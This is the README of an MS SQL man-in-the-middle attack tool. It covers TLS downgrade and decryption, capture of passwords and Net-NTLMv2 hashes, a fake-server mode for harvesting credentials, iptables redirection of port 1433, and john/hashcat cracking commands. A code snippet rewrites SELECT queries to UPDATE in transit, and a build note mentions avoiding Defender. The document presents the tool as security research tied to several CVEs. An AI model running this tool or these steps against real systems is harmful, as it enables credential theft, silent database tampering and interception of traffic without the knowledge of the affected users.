Tool for MS SQL Man In The Middle attack which supports TLS encryption.
It listens for connection pretending to be a real MS SQL Server, decrypts traffic to obtain credentials or manipulate the queries and connect back to real SQL server and forward traffic. When possible it downgrades connection to non-encrypted on both sides, if not it decrypts and encrypts data on-the-fly (on one or both sides depending on need) giving access to unencrypted data if only certificate is not verified on client side (which is default on most applications) or user can provide appropriate acceptable certificate. It can also emulate MS SQL Server to obtain credentials form connecting clients without use of a real server for forwarding.
It shows passwords of connected users as well as those created or altered (changed) during the connection.
Easy dumping interesting parts of the TDS packet (query*) containing certain string or matching regular a expression:
-f string_to_find case insensitive, shows data from searched string occurence to potential
end of the entire string inside TDS packet (x00x00x00x00)
-r regexp_to_find e.g. -r '(?i)SELECT.*MyTable[\x00-\x7F]*'
*Note: it does NOT parse TDS packet or search only in query string part of the packet. If it is fragmented shows only the chunk containing string/regexp.
It can be used as Responder or metasploit auxiliary/server/capture/mssql to dump NTLMv2 (A.K.A. Net-NTLMv2) hashes, but unlike them it works with TLS encryption enabled on any side. What's more, it doesn't drop the connection after dump as mentioned tools - it acts as proxy and client will not see any difference.
Even if for some reason server policy will not accept the right NTLM credentials we will still get the hash as below:
(in this example connection is refused because connection is redirected back to itself)
[!] NetNTLMv2: test::DOMAIN:ea4f0a44074b93c3:EB748036D9FA44EA74808B0AD3CE5353:01010000000000002606AF2401A2DA014653516E31634B57000000000200040058004C0001000C0058004C0032003000320033000400100078006C002E006C006F00630061006C0003001E0058004C0032003000320033002E0078006C002E006C006F00630061006C000500100078006C002E006C006F00630061006C00070008002606AF2401A2DA010900160063006900660073002F0058004C0032003000320033000000000000000000
Hash can be cracked with following tools:
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
To allow easy sniffing decrypted traffic by default is passing by loop on 127.0.0.1:2433
tcpdump -i lo port 2433 -X
Traffic can be also easy redirected to some other middle application to manipulate queries. It needs to listen on some port, manipulate the data and send it back to some other port. All processed data is already decrypted.
As example manipulation_example.py show how to change all SELECT queries to UPDATE on-the-fly:
...
def dataReceived(self, data):
i = data.find("SELECT".encode('utf-16le'))
if i > -1:
print("FOUND: SELECT - replacing to UPDATE")
rstr = "UPDATE".encode('utf-16le')
data = data[:i] + rstr + data[i + len(rstr):]
..../mitmsqlproxy.py 192.168.123.2 -q -lcp 2434 &
./manipulation_example.py
Note: in this example substitution of strings of the same length is performed. If string length changes it is needed to recalculate TDS frame values. Here impacket.tds package can be helpful.
Using null as target MS SQL Server emulation is enabled, use of a real server for forwarding is not needed any more. Full handshake is performed, credentials are dropped and after that most of the clients will drop the connection due to errors (for each query mitmsqlproxy sends back a fake packet containing one row and one column).
Self-signed certificate is generated on-the-fly. For default configuration of SQL libraries, it will work (only login packet is encrypted). If on client side full encryption is forced ("Encrypt connection" is selected or "Encrypt=true;" is present in the connection string) it will work only when "Trust server certificate" is selected or 'TrustServerCertificate=true' is in connection string. Trusted cerificate can be also provided in command line.
If needed custom user cert can be loaded from a file.
If traffic goes through the machine interface it can be redirected to listening port with iptables like this:
sysctl net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 1433 -j DNAT --to-destination 127.0.0.1:1433
usage: mitmsqlproxy.py [-h] [-port PORT] [-lport LPORT] [--log my.log] [-f string_to_find] [-r regexp_to_find]
[-q | -d | -dd] [-ll ip_address] [-llp port] [-lc ip_address] [-lcp port] [--disable-loop] [--cert my.crt]
[--key my.key] target
MSSQL MITM proxy (SSL supported).
positional arguments:
target MSSQL server name or address (use "null" for MSSQL server emulation - connection will
be dropped after obtaining credentials)
options:
-h, --help show this help message and exit
-port PORT MSSQL server port (default 1433)
-lport LPORT local listening port (default 1433)
--log my.log log file
-q quiet mode
-d show more info
-dd show debug info
Searches in raw packet for a string/regexp (does NOT: parse TDS packet or search only in query, if fragmented
shows only the chunk containing string/regexp), can be used multiple times in command line:
-f string_to_find case insensitive
-r regexp_to_find e.g. -r '(?i)SELECT.*MyTable[\x00-\x7F]*'
Internal connection loop - decrypted data is sent to certain port (default 127.0.0.1:2433) and coming back to
mitmslqproxy to be encrypted and send further. This option allows to sniff or even modify unencrypted SQL
traffic in the fly with third party application:
-ll ip_address loop listening address (default 127.0.0.1)
-llp port loop listening address port (default 2433)
-lc ip_address loop connecting address (default 127.0.0.1)
-lcp port loop connecting address port (default 2433)
--disable-loop disable internal loop - if both sides will negotiate encryption sniffing will be useless,
only credentials will be shown on console (raw data only in debug mode)
TLS custom private key and certificate (by default it is dynamically generated):
--cert my.crt certificate file
--key my.key private key file
-
made as a tool to facilitate discovery: CVE-2023-4537, CVE-2023-4538, CVE-2023-4539, CVE-2024-4995, CVE-2024-4996, CVE-2024-8773, CVE-2024-8774
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metasploit auxiliary/server/capture/mssql - despite the visible option SSL,SSLCert it does not support encryption. It supports NTLM, but it is useful only when client is executed on the same machine as server. For newer clients it needs to be updated like this:
def mssql_send_prelogin_response(c, info)
data = [
Constants::TDS_MSG_RESPONSE,
1, # status
# 0x002b, # length
0x0030, # length
#"0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000"
"0000010000001f000601002500010200260001030027000004002700010500280000ff0f0008350000020001"
].pack("CCnH*")
c.put data
end
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Responder - supports protocol downgrade and NTLM, but no encryption https://github.com/lgandx/Responder
-
tds-downgrade.py - this tool was presented as POC here: http://blog.blindspotsecurity.com/2017/12/advanced-sql-server-mitm-attacks.html and DOES SUPPORT TLS. It has two modes: downgrade and cert, the only function it supports is logging decrypted traffic to files. For me it worked only in downgrade mode, but it was very unstable. It can be downloaded here: https://github.com/ecbftw/poc/blob/master/mssql-mitm/tds-downgrade.py
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https://github.com/tech-software/TDSProxy - written in C#, it uses similar mechanisms, but the intention is to filter certain users by proxy behind MS SQL server. It uses custom user DLL plugins with filters. For me it wasn't working as expected, especially when server side was forcing TLS (client side TLS communication was established).
-
SSLsplit - has autossl option to detect ClientHello packet for STARTTLS et al, but it can find it only on the beginning of the packet. In TDS all handshake packets need to have TDS header so even with proper ClientHello detection it will not work (what is weird, after handshake TDS headers are dropped and included inside TLS tunnel).
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PolarProxy, stunnel - they are good for HTTP, but they cannot be configured for partial encryption with custom header.
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SQL Server Profiler - will redact LOGIN CREATE/ALTER passwords (it will work only on very old versions), won't show login credentials.
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SSLKEYLOGFILE environment variable will not work for other apps (MSSQL Clients) like for the web browsers. Even adding this option to Impacket's mssqlclient.py didn't work for me. When only TDS_LOGIN7 packet is encrypted probably because of lack of certificate use.
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https://blog.thinkst.com/2015/11/stripping-encryption-from-microsoft-sql.html and their script https://gist.github.com/thinkst/db909e3a41c5cb07d43f - works as proxy, can downgrade to no encryption, but it needs to be tuned by hand with editing hexes. TLS is not supported.
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https://github.com/MindFlavor/TDSBridge - works as proxy. Authors say "(it even works with server side forced encryption)", but it didn't work for me and as far as I searched, I did not find the code responsible for encryption in the sources.
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sqlmitm.py from https://www.anitian.com/hacking-sql-servers-without-password/ - no encrytpion supported.
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Echo Mirage - very old and did not work - should inject to a process and get data before/after encryption.
Windows .exe binary can be compiled with follwong commands:
pip3 install pyinstaller
pyinstaller mitmsqlproxy.py --onefile
BINARY IS NOT PUBLISHED IN REPO TO AVOID DEFENDER, PLEASE DO NOT PUBLISH A BINARY!
- errors with SQL Server Management Studio 19 (for older versions it works fine)
- full TDS packet parsing during search for strings and regular expressions in queries, defragmentation of queries
- overwriting ServerName field in TDS_LOGIN7 packet (server does not check this, but this way MITM attack can be now identified)